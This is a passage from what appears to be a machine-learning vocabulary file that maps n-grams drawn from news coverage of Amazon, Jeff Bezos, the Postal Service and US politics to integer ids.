\"package rate\": 46224,\n  \"metre\": 46225,\n  \"experiment\": 46226,\n  \"wontbeerased\": 46227,\n  \"estimated earnings\": 46228,\n  \"shown little\": 46229,\n  \"enhanced business\": 46230,\n  \"gender ideology\": 46231,\n  \"article exposing\": 46232,\n  \"receive medal\": 46233,\n  \"fishing phil\": 46234,\n  \"facing allegations\": 46235,\n  \"table little\": 46236,\n  \"public subsidy\": 46237,\n  \"estimated financial\": 46238,\n  \"2017 lows\": 46239,\n  \"high schools\": 46240,\n  \"howard stands\": 46241,\n  \"katherine fechte\": 46242,\n  \"beauty wish\": 46243,\n  \"orlando mayor\": 46244,\n  \"boeing 737\": 46245,\n  \"sanders requested\": 46246,\n  \"videoendslateimpl\": 46247,\n  \"razor burn\": 46248,\n  \"announcement calling\": 46249,\n  \"actually owe\": 46250,\n  \"barclay\": 46251,\n  \"maligned amazon\": 46252,\n  \"date ott\": 46253,\n  \"injured just\": 46254,\n  \"indur goklany\": 46255,\n  \"old video\": 46256,\n  \"elementcontents\": 46257,\n  \"verbally\": 46258,\n  \"neighbors include\": 46259,\n  \"new supply\": 46260,\n  \"willa\": 46261,\n  \"deposited\": 46262,\n  \"reasonable rate\": 46263,\n  \"montana legislature\": 46264,\n  \"musk jeff\": 46265,\n  \"minister boris\": 46266,\n  \"2016 hack\": 46267,\n  \"lori berman\": 46268,\n  \"book hero\": 46269,\n  \"yorktimes\": 46270,\n  \"big screen\": 46271,\n  \"dealers tax\": 46272,\n  \"ros\\u00e9 mansion\": 46273,\n  \"retail analytics\": 46274,\n  \"russia australia\": 46275,\n  \"double usps\": 46276,\n  \"earning far\": 46277,\n  \"acquire wirecutter\": 46278,\n  \"democrats approved\": 46279,\n  \"buying stuff\": 46280,\n  \"budget woes\": 46281,\n  \"brazil economic\": 46282,\n  \"big loss\": 46283,\n  \"bezos telling\": 46284,\n  \"eating right\": 46285,\n  \"including poultry\": 46286,\n  \"thornton stealing\": 46287,\n  \"soil\": 46288,\n  \"checking facts\": 46289,\n  \"identifiable data\": 46290,\n  \"double delivery\": 46291,\n  \"social giant\": 46292,\n  \"blanket pro\": 46293,\n  \"coworker\": 46294,\n  \"dog treats\": 46295,\n  \"record billion\": 46296,\n  \"preschools serving\": 46297,\n  \"eu engaging\": 46298,\n  \"pickup artists\": 46299,\n  \"pay living\": 46300,\n  \"slumber party\": 46301,\n  \"enthralling premise\": 46302,\n  \"penalty process\": 46303,\n  \"centers change\": 46304,\n  \"increasing rainforest\": 46305,\n  \"lev\": 46306,\n  \"marie\": 46307,\n  \"400 websites\": 46308,\n  \"danhof ends\": 46309,\n  \"imperfect\": 46310,\n  \"migration groups\": 46311,\n  \"indigenous culture\": 46312,\n  \"bowman\": 46313,\n  \"attending sporting\": 46314,\n  \"fed credit\": 46315,\n  \"sessions participates\": 46316,\n  \"imagined\": 46317,\n  \"lush creepy\": 46318,\n  \"photos politicians\": 46319,\n  \"donates 10m\": 46320,\n  \"lasnik\": 46321,\n  \"daniel bryan\": 46322,\n  \"wife told\": 46323,\n  \"traditional big\": 46324,\n  \"public postal\": 46325,\n  \"handbags bed\": 46326,\n  \"control benzinga\": 46327,\n  \"trump refused\": 46328,\n  \"candies\": 46329,\n  \"orfacebook\": 46330,\n  \"investors remain\": 46331,\n  \"wars revenge\": 46332,\n  \"newspaper trump\": 46333,\n  \"maybe people\": 46334,\n  \"widnes near\": 46335,\n  \"delivery agreement\": 46336,\n  \"faced opposition\": 46337,\n  \"divisions retiring\": 46338,\n  \"bezos replied\": 46339,\n  \"jr took\": 46340,\n  \"yikes gary\": 46341,\n  \"player error\": 46342,\n  \"tax rates\": 46343,\n  \"fantastic business\": 46344,\n  \"specifically members\": 46345,\n  \"professional pilot\": 46346,\n  \"relays\": 46347,\n  \"key r4ee\": 46348,\n  \"boosted bezos\": 46349,\n  \"identify early\": 46350,\n  \"oscar critics\": 46351,\n  \"usps bumps\": 46352,\n  \"factual news\": 46353,\n  \"entire industries\": 46354,\n  \"publisher response\": 46355,\n  \"sign\": 46356,\n  \"staggering depicts\": 46357,\n  \"lama\": 46358,\n  \"truthful way\": 46359,\n  \"grenfell tower\": 46360,\n  \"infrastructure fund\": 46361,\n  \"wieser target\": 46362,\n  \"downtown washington\": 46363,\n  \"restaurant categories\": 46364,\n  \"reads textbook\": 46365,\n  \"vr\": 46366,\n  \"igp\": 46367,\n  \"bullying targets\": 46368,\n  \"data link\": 46369,\n  \"hurrying\": 46370,\n  \"ibd display\": 46371,\n  \"building permits\": 46372,\n  \"condition determined\": 46373,\n  \"untethered\": 46374,\n  \"daily grievances\": 46375,\n  \"ministers including\": 46376,\n  \"kennedy estimated\": 46377,\n  \"arts television\": 46378,\n  \"ongoing artificial\": 46379,\n  \"heart talk\": 46380,\n  \"jocelyn wildenstein\": 46381,\n  \"getty_478170176_388027\": 46382,\n  \"powerful recommended\": 46383,\n  \"people wind\": 46384,\n  \"tenth according\": 46385,\n  \"accomplice\": 46386,\n  \"net service\": 46387,\n  \"gift recent\": 46388,\n  \"hospital detained\": 46389,\n  \"improvised\": 46390,\n  \"notorious anymore\": 46391,\n  \"borrowers\": 46392,\n  \"tax deferments\": 46393,\n  \"recently trump\": 46394,\n  \"spdr tr\": 46395,\n  \"59m reports\": 46396,\n  \"park near\": 46397,\n  \"correct lot\": 46398,\n  \"brendan\": 46399,\n  \"kinder morgan\": 46400,\n  \"post mocked\": 46401,\n  \"right brian\": 46402,\n  \"dow\": 46403,\n  \"san antonio\": 46404,\n  \"industry says\": 46405,\n  \"gainsit\": 46406,\n  \"unexpected friendship\": 46407,\n  \"alleged fake\": 46408,\n  \"york cookbook\": 46409,\n  \"greatly swelling\": 46410,\n  \"costs pressured\": 46411,\n  \"homecities\": 46412,\n  \"raising self\": 46413,\n  \"hw bush\": 46414,\n  \"moss check\": 46415,\n  \"la abortion\": 46416,\n  \"transgender language\": 46417,\n  \"selling fakes\": 46418,\n  \"areas chances\": 46419,\n  \"new escalation\": 46420,\n  \"graph n979746\": 46421,\n  \"revealed list\": 46422,\n  \"hottest deals\": 46423,\n  \"pulitzer winner\": 46424,\n  \"big scheme\": 46425,\n  \"baby died\": 46426,\n  \"muscle amazon\": 46427,\n  \"steps\": 46428,\n  \"robots inaudible\": 46429,\n  \"demand meals\": 46430,\n  \"tesla founder\": 46431,\n  \"toldthe associated\": 46432,\n  \"terrorism bombs\": 46433,\n  \"president frequently\": 46434,\n  \"6pm bst\": 46435,\n  \"year great\": 46436,\n  \"today broadsheet\": 46437,\n  \"solomon nightly\": 46438,\n  \"night negotiating\": 46439,\n  \"proliferation\": 46440,\n  \"keenly focused\": 46441,\n  \"paper outside\": 46442,\n  \"brashear north\": 46443,\n  \"casually dropping\": 46444,\n  \"virginia offered\": 46445,\n  \"dod photo\": 46446,\n  \"citizenship award\": 46447,\n  \"bad practice\": 46448,\n  \"exploiting natural\": 46449,\n  \"reading basics\": 46450,\n  \"porn star\": 46451,\n  \"personalized medicine\": 46452,\n  \"arabia key\": 46453,\n  \"senate story\": 46454,\n  \"did things\": 46455,\n  \"warnings\": 46456,\n  \"puff\": 46457,\n  \"van business\": 46458,\n  \"offer place\": 46459,\n  \"executive david\": 46460,\n  \"convenient\": 46461,\n  \"witness john\": 46462,\n  \"onsumers generally\": 46463,\n  \"democrats taxed\": 46464,\n  \"mccabe spokesperson\": 46465,\n  \"mean separating\": 46466,\n  \"stronger data\": 46467,\n  \"bigger opportunities\": 46468,\n  \"wasall\": 46469,\n  \"derails california\": 46470,\n  \"year highlighted\": 46471,\n  \"juan orlando\": 46472,\n  \"blue states\": 46473,\n  \"assassination based\": 46474,\n  \"clone shipments\": 46475,\n  \"neared trillion\": 46476,\n  \"narrow short\": 46477,\n  \"usps practice\": 46478,\n  \"responded wryly\": 46479,\n  \"news stopped\": 46480,\n  \"china increasingly\": 46481,\n  \"dave wedge\": 46482,\n  \"narrow\": 46483,\n  \"ink package\": 46484,\n  \"retailers want\": 46485,\n  \"suzy\": 46486,\n  \"lynne patton\": 46487,\n  \"santti13 santti13\": 46488,\n  \"macy nyse\": 46489,\n  \"drugs herbicides\": 46490,\n  \"full16x9 width\": 46491,\n  \"amazon login\": 46492,\n  \"international boat\": 46493,\n  \"evening stocks\": 46494,\n  \"reporter hope\": 46495,\n  \"news 24x7\": 46496,\n  \"horror starlet\": 46497,\n  \"inc_custom_sidebar null\": 46498,\n  \"economy rep\": 46499,\n  \"source operating\": 46500,\n  \"life supreme\": 46501,\n  \"arlington means\": 46502,\n  \"russia ivanka\": 46503,\n  \"bezos biography\": 46504,\n  \"infowars network\": 46505,\n  \"taxpolicycenter org\": 46506,\n  \"isn america\": 46507,\n  \"headquarters adding\": 46508,\n  \"901 529\": 46509,\n  \"probably holistically\": 46510,\n  \"cassidy\": 46511,\n  \"tell facebook\": 46512,\n  \"race awaits\": 46513,\n  \"importantly\": 46514,\n  \"improvement housewares\": 46515,\n  \"deliveries president\": 46516,\n  \"sordid ceo\": 46517,\n  \"team took\": 46518,\n  \"amazon outposts\": 46519,\n  \"2022 sanders\": 46520,\n  \"falsehood\": 46521,\n  \"new campus\": 46522,\n  \"boost mueller\": 46523,\n  \"dominant force\": 46524,\n  \"reasonably secure\": 46525,\n  \"ne allegedly\": 46526,\n  \"mysterious small\": 46527,\n  \"threaten internet\": 46528,\n  \"fiction little\": 46529,\n  \"talks look\": 46530,\n  \"hare\": 46531,\n  \"deviously\": 46532,\n  \"odds politicians\": 46533,\n  \"board wasn\": 46534,\n  \"documents dispel\": 46535,\n  \"cah shares\": 46536,\n  \"felt violated\": 46537,\n  \"cox recently\": 46538,\n  \"office told\": 46539,\n  \"step gives\": 46540,\n  \"lipstick\": 46541,\n  \"help twitter\": 46542,\n  \"bezos called\": 46543,\n  \"honcho does\": 46544,\n  \"trump tyranny\": 46545,\n  \"batten\": 46546,\n  \"triumphant\": 46547,\n  \"unintended consequence\": 46548,\n  \"craig work\": 46549,\n  \"read stop\": 46550,\n  \"hinton knew\": 46551,\n  \"alphaone\": 46552,\n  \"skid\": 46553,\n  \"man charged\": 46554,\n  \"misses profit\": 46555,\n  \"trade deals\": 46556,\n  \"overcome globaldata\": 46557,\n  \"supervision randal\": 46558,\n  \"peebles real\": 46559,\n  \"annual filing\": 46560,\n  \"law devil\": 46561,\n  \"specific dealings\": 46562,\n  \"steering investors\": 46563,\n  \"asserted marks\": 46564,\n  \"allen says\": 46565,\n  \"harvey weinstein\": 46566,\n  \"ceo ryan\": 46567,\n  \"china expansion\": 46568,\n  \"press canned\": 46569,\n  \"power plants\": 46570,\n  \"person died\": 46571,\n  \"boroughs konst\": 46572,\n  \"carole cadwalladr\": 46573,\n  \"jordan river\": 46574,\n  \"today provided\": 46575,\n  \"us50 billion\": 46576,\n  \"procedural manoeuvre\": 46577,\n  \"launched special\": 46578,\n  \"inside cave\": 46579,\n  \"2m according\": 46580,\n  \"lb best\": 46581,\n  \"mug shots\": 46582,\n  \"leave thousands\": 46583,\n  \"huttenlocher daniel\": 46584,\n  \"10best\": 46585,\n  \"billion brink\": 46586,\n  \"minds steemit\": 46587,\n  \"elle\": 46588,\n  \"seat cord\": 46589,\n  \"trudeau larry\": 46590,\n  \"representing parts\": 46591,\n  \"flawed amazon\": 46592,\n  \"distribution business\": 46593,\n  \"restoring sanctions\": 46594,\n  \"targeted nbc\": 46595,\n  \"identical strangers\": 46596,\n  \"watchman\": 46597,\n  \"howorth just\": 46598,\n  \"repressive regimes\": 46599,\n  \"protesters\": 46600,\n  \"mercy story\": 46601,\n  \"doesn fall\": 46602,\n  \"verona\": 46603,\n  \"stories trump\": 46604,\n  \"wages quickly\": 46605,\n  \"cnn article\": 46606,\n  \"politico published\": 46607,\n  \"regional summit\": 46608,\n  \"earvilwatson\": 46609,\n  \"trump challenge\": 46610,\n  \"toughest challenge\": 46611,\n  \"petulantly\": 46612,\n  \"preferably\": 46613,\n  \"redis\": 46614,\n  \"corporate lobbyist\": 46615,\n  \"cheryl casone\": 46616,\n  \"revenue streams\": 46617,\n  \"tribune business\": 46618,\n  \"craig berman\": 46619,\n  \"dollar cloud\": 46620,\n  \"fresh scandal\": 46621,\n  \"dictators\": 46622,\n  \"whisking sanchez\": 46623,\n  \"doj fbi\": 46624,\n  \"business comedian\": 46625,\n  \"reads best\": 46626,\n  \"marketing vp\": 46627,\n  \"religion scholar\": 46628,\n  \"amazon 5826\": 46629,\n  \"space 2018\": 46630,\n  \"rampant bias\": 46631,\n  \"temporary building\": 46632,\n  \"location long\": 46633,\n  \"autoplayvideoexist\": 46634,\n  \"free housing\": 46635,\n  \"economy increasingly\": 46636,\n  \"ridiculous competition\": 46637,\n  \"bad tag\": 46638,\n  \"budget according\": 46639,\n  \"delegates boundaries\": 46640,\n  \"risk houston\": 46641,\n  \"don plan\": 46642,\n  \"year american\": 46643,\n  \"rapist\": 46644,\n  \"quoted cnn\": 46645,\n  \"order priests\": 46646,\n  \"leading amazon\": 46647,\n  \"foods ceo\": 46648,\n  \"welldocumented mccabe\": 46649,\n  \"law degree\": 46650,\n  \"pentagon remote\": 46651,\n  \"wesleyan\": 46652,\n  \"eliza collins\": 46653,\n  \"delved deeper\": 46654,\n  \"does offer\": 46655,\n  \"boost efficiency\": 46656,\n  \"thought fear\": 46657,\n  \"skirmish\": 46658,\n  \"russia foreign\": 46659,\n  \"buy goods\": 46660,\n  \"muller iii\": 46661,\n  \"kiosk\": 46662,\n  \"korea month\": 46663,\n  \"alc\\u00e2ntara launch\": 46664,\n  \"amicability\": 46665,\n  \"disrupting entire\": 46666,\n  \"mayor emanuel\": 46667,\n  \"cah profit\": 46668,\n  \"vulgarity racial\": 46669,\n  \"companies invest\": 46670,\n  \"block national\": 46671,\n  \"attacks ___\": 46672,\n  \"demeanour posed\": 46673,\n  \"red territory\": 46674,\n  \"cordray historic\": 46675,\n  \"getting divorce\": 46676,\n  \"fever dream\": 46677,\n  \"relevant data\": 46678,\n  \"salty long\": 46679,\n  \"gigya\": 46680,\n  \"marjorie williams\": 46681,\n  \"measures related\": 46682,\n  \"county executives\": 46683,\n  \"levine big\": 46684,\n  \"youtube read\": 46685,\n  \"recently noted\": 46686,\n  \"highlight smaller\": 46687,\n  \"airbnb exlarge\": 46688,\n  \"brett anderson\": 46689,\n  \"583m fake\": 46690,\n  \"thatandy\": 46691,\n  \"invsts ser\": 46692,\n  \"gone hand\": 46693,\n  \"legislative solution\": 46694,\n  \"victoria ellis\": 46695,\n  \"house lost\": 46696,\n  \"public dinner\": 46697,\n  \"crib\": 46698,\n  \"premier liu\": 46699,\n  \"1530799114\": 46700,\n  \"recommend reevaluation\": 46701,\n  \"knows maybe\": 46702,\n  \"puts amazon\": 46703,\n  \"pay respects\": 46704,\n  \"amazon blog\": 46705,\n  \"erfgenamen van\": 46706,\n  \"privately organized\": 46707,\n  \"chaos gucci\": 46708,\n  \"andrew coons\": 46709,\n  \"james benson\": 46710,\n  \"greatest mistake\": 46711,\n  \"pepsico forecast\": 46712,\n  \"sale decision\": 46713,\n  \"2015 hans\": 46714,\n  \"minivan\": 46715,\n  \"painful moments\": 46716,\n  \"annual stress\": 46717,\n  \"plans california\": 46718,\n  \"cortana lives\": 46719,\n  \"foot sears\": 46720,\n  \"demands ranging\": 46721,\n  \"storm drain\": 46722,\n  \"separate parts\": 46723,\n  \"correspondent kate\": 46724,\n  \"d8\": 46725,\n  \"kaye wrote\": 46726,\n  \"people trying\": 46727,\n  \"maga gear\": 46728,\n  \"blagojevich\": 46729,\n  \"dara khosrowshahi\": 46730,\n  \"hawaii volcano\": 46731,\n  \"silence\": 46732,\n  \"practices higher\": 46733,\n  \"kyle congratulations\": 46734,\n  \"app andrew\": 46735,\n  \"sports blog\": 46736,\n  \"breakout hit\": 46737,\n  \"amazon kids\": 46738,\n  \"eligible commentator\": 46739,\n  \"metro portland\": 46740,\n  \"corporate profit\": 46741,\n  \"movie south\": 46742,\n  \"rita braver\": 46743,\n  \"bayer bayn\": 46744,\n  \"million member\": 46745,\n  \"consumers face\": 46746,\n  \"question amazon\": 46747,\n  \"pete yes\": 46748,\n  \"futures point\": 46749,\n  \"operating routes\": 46750,\n  \"voting restoration\": 46751,\n  \"lawmakers express\": 46752,\n  \"mccabe disgrace\": 46753,\n  \"grocery healthcare\": 46754,\n  \"jewish housewife\": 46755,\n  \"utf\": 46756,\n  \"face scanning\": 46757,\n  \"353 retail\": 46758,\n  \"holiday rush\": 46759,\n  \"gardy\": 46760,\n  \"wait thoughtfully\": 46761,\n  \"news think\": 46762,\n  \"post added\": 46763,\n  \"creating limitless\": 46764,\n  \"edwards amber\": 46765,\n  \"opened case\": 46766,\n  \"includes upholding\": 46767,\n  \"pelosi alum\": 46768,\n  \"historically amazon\": 46769,\n  \"coming holiday\": 46770,\n  \"districts wisconsin\": 46771,\n  \"32gb internal\": 46772,\n  \"olive\": 46773,\n  \"slipped new\": 46774,\n  \"nov people\": 46775,\n  \"chris falls\": 46776,\n  \"attributes donald\": 46777,\n  \"nick zieminski\": 46778,\n  \"starring alison\": 46779,\n  \"stalemate government\": 46780,\n  \"thomas hardiman\": 46781,\n  \"just does\": 46782,\n  \"journalistic reasons\": 46783,\n  \"nice guy\": 46784,\n  \"service q2\": 46785,\n  \"compensation recently\": 46786,\n  \"tax efficient\": 46787,\n  \"voice pushing\": 46788,\n  \"rival predicament\": 46789,\n  \"return g7a\": 46790,\n  \"298 million\": 46791,\n  \"using tools\": 46792,\n  \"promptedbezos\": 46793,\n  \"southwest tucson\": 46794,\n  \"insurance coverage\": 46795,\n  \"york political\": 46796,\n  \"popularity decline\": 46797,\n  \"far 200\": 46798,\n  \"company clark\": 46799,\n  \"charges large\": 46800,\n  \"empire owned\": 46801,\n  \"military execution\": 46802,\n  \"project manager\": 46803,\n  \"opiates\": 46804,\n  \"republican negotiators\": 46805,\n  \"amazon amazonhelp\": 46806,\n  \"reconnects\": 46807,\n  \"getting 137\": 46808,\n  \"growth futures\": 46809,\n  \"consistently held\": 46810,\n  \"n2x e8\": 46811,\n  \"fbi pentagon\": 46812,\n  \"mich wxyz\": 46813,\n  \"jersey lawmakers\": 46814,\n  \"termed\": 46815,\n  \"term supreme\": 46816,\n  \"protect manufacturers\": 46817,\n  \"width 650\": 46818,\n  \"digital microscope\": 46819,\n  \"entire platform\": 46820,\n  \"official photos\": 46821,\n  \"staver bloomberg\": 46822,\n  \"enquirer original\": 46823,\n  \"team denying\": 46824,\n  \"lighter\": 46825,\n  \"nonetheless amazon\": 46826,\n  \"korea eye\": 46827,\n  \"given tax\": 46828,\n  \"sensibility\": 46829,\n  \"sensors prepared\": 46830,\n  \"turbulent europe\": 46831,\n  \"skewering\": 46832,\n  \"intangible\": 46833,\n  \"immigration list\": 46834,\n  \"rest easy\": 46835,\n  \"recent interviews\": 46836,\n  \"timelines\": 46837,\n  \"commercial shippers\": 46838,\n  \"2018 pyeongchang\": 46839,\n  \"prada impossible\": 46840,\n  \"gaetz alongside\": 46841,\n  \"party energized\": 46842,\n  \"georgetown university\": 46843,\n  \"interview earlier\": 46844,\n  \"kavanaugh testimony\": 46845,\n  \"local town\": 46846,\n  \"29billion charitable\": 46847,\n  \"future retirees\": 46848,\n  \"urban areas\": 46849,\n  \"ollstein\": 46850,\n  \"push\": 46851,\n  \"extraordinary blog\": 46852,\n  \"capital sensibility\": 46853,\n  \"trump forced\": 46854,\n  \"revenues\": 46855,\n  \"kaola chukumba\": 46856,\n  \"large package\": 46857,\n  \"app cuseum\": 46858,\n  \"incentives upwards\": 46859,\n  \"staff reported\": 46860,\n  \"vulnerable\": 46861,\n  \"aristocrat\": 46862,\n  \"ice think\": 46863,\n  \"weirdest\": 46864,\n  \"hill thomas\": 46865,\n  \"regularly covered\": 46866,\n  \"clearly bezos\": 46867,\n  \"hyphen\": 46868,\n  \"encourage\": 46869,\n  \"resurgence wonder\": 46870,\n  \"favor democrats\": 46871,\n  \"totally botched\": 46872,\n  \"arthur delaney\": 46873,\n  \"wander little\": 46874,\n  \"beginnings bezos\": 46875,\n  \"incorporates\": 46876,\n  \"protection operation\": 46877,\n  \"book format\": 46878,\n  \"qvc john\": 46879,\n  \"moving quickly\": 46880,\n  \"young afghans\": 46881,\n  \"african americans\": 46882,\n  \"days series\": 46883,\n  \"sell business\": 46884,\n  \"book sale\": 46885,\n  \"world authoritarian\": 46886,\n  \"hatched\": 46887,\n  \"cyberattack\": 46888,\n  \"representatives judiciary\": 46889,\n  \"veep actor\": 46890,\n  \"guides link\": 46891,\n  \"puppeteer\": 46892,\n  \"adam bricker\": 46893,\n  \"nieces\": 46894,\n  \"michael strain\": 46895,\n  \"best quarterly\": 46896,\n  \"cortez pontificating\": 46897,\n  \"world kudos\": 46898,\n  \"apple cut\": 46899,\n  \"forbes revealed\": 46900,\n  \"grills\": 46901,\n  \"country kelly\": 46902,\n  \"motivated security\": 46903,\n  \"mexico live\": 46904,\n  \"plath winged\": 46905,\n  \"afp germany\": 46906,\n  \"documented biased\": 46907,\n  \"start receiving\": 46908,\n  \"ad buyers\": 46909,\n  \"nonfiction adult\": 46910,\n  \"provides eligible\": 46911,\n  \"photo zing\": 46912,\n  \"new battleground\": 46913,\n  \"trends taking\": 46914,\n  \"comments click\": 46915,\n  \"hall gordon\": 46916,\n  \"platform bolsonaro\": 46917,\n  \"janet van\": 46918,\n  \"miles day\": 46919,\n  \"sustainability policy\": 46920,\n  \"dark underbelly\": 46921,\n  \"undeclared\": 46922,\n  \"schedules\": 46923,\n  \"book presentation\": 46924,\n  \"shady trump\": 46925,\n  \"dc bezos\": 46926,\n  \"memorable turkey\": 46927,\n  \"party hustle\": 46928,\n  \"jump\": 46929,\n  \"burned\": 46930,\n  \"big increases\": 46931,\n  \"rsvp\": 46932,\n  \"spies\": 46933,\n  \"raises employees\": 46934,\n  \"investing partner\": 46935,\n  \"extremely inappropriate\": 46936,\n  \"report sending\": 46937,\n  \"personal invitation\": 46938,\n  \"union politics\": 46939,\n  \"reviewer raving\": 46940,\n  \"changing cash\": 46941,\n  \"hit area\": 46942,\n  \"amazon smear\": 46943,\n  \"mijente new\": 46944,\n  \"lindsay charlie\": 46945,\n  \"skdknickerbocker\": 46946,\n  \"cook ivanka\": 46947,\n  \"helsinki finland\": 46948,\n  \"lives lost\": 46949,\n  \"wolverines words\": 46950,\n  \"royalty income\": 46951,\n  \"conversation complicated\": 46952,\n  \"endpoints\": 46953,\n  \"outlook dims\": 46954,\n  \"landowners according\": 46955,\n  \"amzn jeff\": 46956,\n  \"educational activities\": 46957,\n  \"beliefs brody\": 46958,\n  \"conspiracies\": 46959,\n  \"yes jeff\": 46960,\n  \"investors writes\": 46961,\n  \"alum krasinski\": 46962,\n  \"founding rabbi\": 46963,\n  \"noted media\": 46964,\n  \"line tourists\": 46965,\n  \"widespread today\": 46966,\n  \"york rep\": 46967,\n  \"real crisis\": 46968,\n  \"queensist\": 46969,\n  \"considers online\": 46970,\n  \"policy goal\": 46971,\n  \"morning everybody\": 46972,\n  \"citizens latrice\": 46973,\n  \"dozens\": 46974,\n  \"run screaming\": 46975,\n  \"bezos ongoing\": 46976,\n  \"subsidize low\": 46977,\n  \"sheeran\": 46978,\n  \"freedom protections\": 46979,\n  \"tracing application\": 46980,\n  \"cbpp writes\": 46981,\n  \"regulation recent\": 46982,\n  \"wrangle\": 46983,\n  \"twitter mylesudland\": 46984,\n  \"lucrative exports\": 46985,\n  \"fed rate\": 46986,\n  \"business decisions\": 46987,\n  \"cigar industry\": 46988,\n  \"juul halts\": 46989,\n  \"stringent regulatory\": 46990,\n  \"million plus\": 46991,\n  \"pose bigger\": 46992,\n  \"broader returns\": 46993,\n  \"camo hat\": 46994,\n  \"chimes\": 46995,\n  \"buttons\": 46996,\n  \"jedi brain\": 46997,\n  \"buolamwini\": 46998,\n  \"president created\": 46999,\n  \"families portfolio\": 47000,\n  \"impeachment threat\": 47001,\n  \"amazon market\": 47002,\n  \"sinks bolsonaro\": 47003,\n  \"checking website\": 47004,\n  \"mijente national\": 47005,\n  \"areas despite\": 47006,\n  \"aldous pennyfarthing\": 47007,\n  \"jaselskis\": 47008,\n  \"premium explained\": 47009,\n  \"produce today\": 47010,\n  \"featured tribal\": 47011,\n  \"christian evangelicals\": 47012,\n  \"prospective purchase\": 47013,\n  \"wear shorts\": 47014,\n  \"way capitalism\": 47015,\n  \"so2rmu3ecd\": 47016,\n  \"protect american\": 47017,\n  \"severe mistake\": 47018,\n  \"occlusions\": 47019,\n  \"dump nyc\": 47020,\n  \"politics privacy\": 47021,\n  \"underpaying\": 47022,\n  \"lambasted amazon\": 47023,\n  \"incredibly effective\": 47024,\n  \"minimum purchase\": 47025,\n  \"giveaway just\": 47026,\n  \"originators lot\": 47027,\n  \"code according\": 47028,\n  \"security act\": 47029,\n  \"information showing\": 47030,\n  \"enjoy anew\": 47031,\n  \"worth billions\": 47032,\n  \"quips steve\": 47033,\n  \"attilan\": 47034,\n  \"company settled\": 47035,\n  \"closed mark\": 47036,\n  \"firms say\": 47037,\n  \"using emails\": 47038,\n  \"words fool\": 47039,\n  \"work brought\": 47040,\n  \"estate greed\": 47041,\n  \"social market\": 47042,\n  \"amazing group\": 47043,\n  \"greatest technologies\": 47044,\n  \"provide\": 47045,\n  \"region vegas\": 47046,\n  \"500 826\": 47047,\n  \"amazon calls\": 47048,\n  \"strong 2019\": 47049,\n  \"cvs\": 47050,\n  \"face ample\": 47051,\n  \"kelly southwest\": 47052,\n  \"michele short\": 47053,\n  \"valuation currently\": 47054,\n  \"death earlier\": 47055,\n  \"intelligence key\": 47056,\n  \"children caught\": 47057,\n  \"based medications\": 47058,\n  \"set dates\": 47059,\n  \"increasingly convinced\": 47060,\n  \"flavored\": 47061,\n  \"relocation subsidies\": 47062,\n  \"aggressively pursuedapple\": 47063,\n  \"coverage shows\": 47064,\n  \"quotes matt\": 47065,\n  \"strategies used\": 47066,\n  \"sao paulo\": 47067,\n  \"collectible cards\": 47068,\n  \"friends lovers\": 47069,\n  \"class letters\": 47070,\n  \"finance cause\": 47071,\n  \"leaker 2736762\": 47072,\n  \"closed meeting\": 47073,\n  \"ship trump\": 47074,\n  \"means marketing\": 47075,\n  \"yes haverty\": 47076,\n  \"state davis\": 47077,\n  \"currently house\": 47078,\n  \"change tokyo\": 47079,\n  \"big mouth\": 47080,\n  \"talkative trump\": 47081,\n  \"actually marriott\": 47082,\n  \"hypocrites\": 47083,\n  \"cuomo brokered\": 47084,\n  \"considering buying\": 47085,\n  \"polo\": 47086,\n  \"downtown\": 47087,\n  \"amazon picked\": 47088,\n  \"vote 388\": 47089,\n  \"highly simplistic\": 47090,\n  \"faster acting\": 47091,\n  \"202 224\": 47092,\n  \"amazon muckerman\": 47093,\n  \"actually wore\": 47094,\n  \"journey north\": 47095,\n  \"organizations leading\": 47096,\n  \"follow global_advisors\": 47097,\n  \"chris arnade\": 47098,\n  \"king jpg\": 47099,\n  \"rep lieu\": 47100,\n  \"daily dealer\": 47101,\n  \"walks onstage\": 47102,\n  \"insider ramsay\": 47103,\n  \"reauthorized\": 47104,\n  \"accenture wins\": 47105,\n  \"shares cim\": 47106,\n  \"guided tactical\": 47107,\n  \"affordable homes\": 47108,\n  \"grow\": 47109,\n  \"later trade\": 47110,\n  \"mind descriptionplaintext\": 47111,\n  \"amazon postal\": 47112,\n  \"publicized allegations\": 47113,\n  \"requiring purchase\": 47114,\n  \"deckers\": 47115,\n  \"26th\": 47116,\n  \"situation narcos\": 47117,\n  \"hunter trevor\": 47118,\n  \"quadratic\": 47119,\n  \"powered growth\": 47120,\n  \"closure program\": 47121,\n  \"reduce prices\": 47122,\n  \"usatoda\": 47123,\n  \"massive sexual\": 47124,\n  \"gmt north\": 47125,\n  \"dollars wasn\": 47126,\n  \"ordered new\": 47127,\n  \"youtube screeds\": 47128,\n  \"did increase\": 47129,\n  \"prying\": 47130,\n  \"compensation according\": 47131,\n  \"traditionally keeps\": 47132,\n  \"amazon martina\": 47133,\n  \"east tallahassee\": 47134,\n  \"private technology\": 47135,\n  \"ami warned\": 47136,\n  \"coach michael\": 47137,\n  \"chided\": 47138,\n  \"desk riser\": 47139,\n  \"dysfunction\": 47140,\n  \"producer told\": 47141,\n  \"interesting mccabe\": 47142,\n  \"big spending\": 47143,\n  \"led embargo\": 47144,\n  \"marcus samuelsson\": 47145,\n  \"fact doing\": 47146,\n  \"purpose\": 47147,\n  \"vug stake\": 47148,\n  \"quickly led\": 47149,\n  \"concurrently advance\": 47150,\n  \"chain group\": 47151,\n  \"commodities warned\": 47152,\n  \"republican campaigns\": 47153,\n  \"instead husemen\": 47154,\n  \"issues amazon\": 47155,\n  \"making investors\": 47156,\n  \"searching block\": 47157,\n  \"tinged\": 47158,\n  \"announced shift\": 47159,\n  \"agreement letter\": 47160,\n  \"446 decidedly\": 47161,\n  \"thousands mackenzie\": 47162,\n  \"eve ceo\": 47163,\n  \"tan france\": 47164,\n  \"420\": 47165,\n  \"u8\": 47166,\n  \"hard deadline\": 47167,\n  \"resistance soon\": 47168,\n  \"based supermarket\": 47169,\n  \"press novartis\": 47170,\n  \"furloughed\": 47171,\n  \"china import\": 47172,\n  \"urged voters\": 47173,\n  \"burned drug\": 47174,\n  \"gandhi tweeted\": 47175,\n  \"development new\": 47176,\n  \"writes mark\": 47177,\n  \"younger voters\": 47178,\n  \"assault oscars\": 47179,\n  \"immigrants saying\": 47180,\n  \"gymnastics olympic\": 47181,\n  \"amzn dips\": 47182,\n  \"booker hillicon\": 47183,\n  \"study used\": 47184,\n  \"outnumber\": 47185,\n  \"33rd day\": 47186,\n  \"closely regulated\": 47187,\n  \"lobbing taunts\": 47188,\n  \"wing hatchet\": 47189,\n  \"section\": 47190,\n  \"foreseeable allen\": 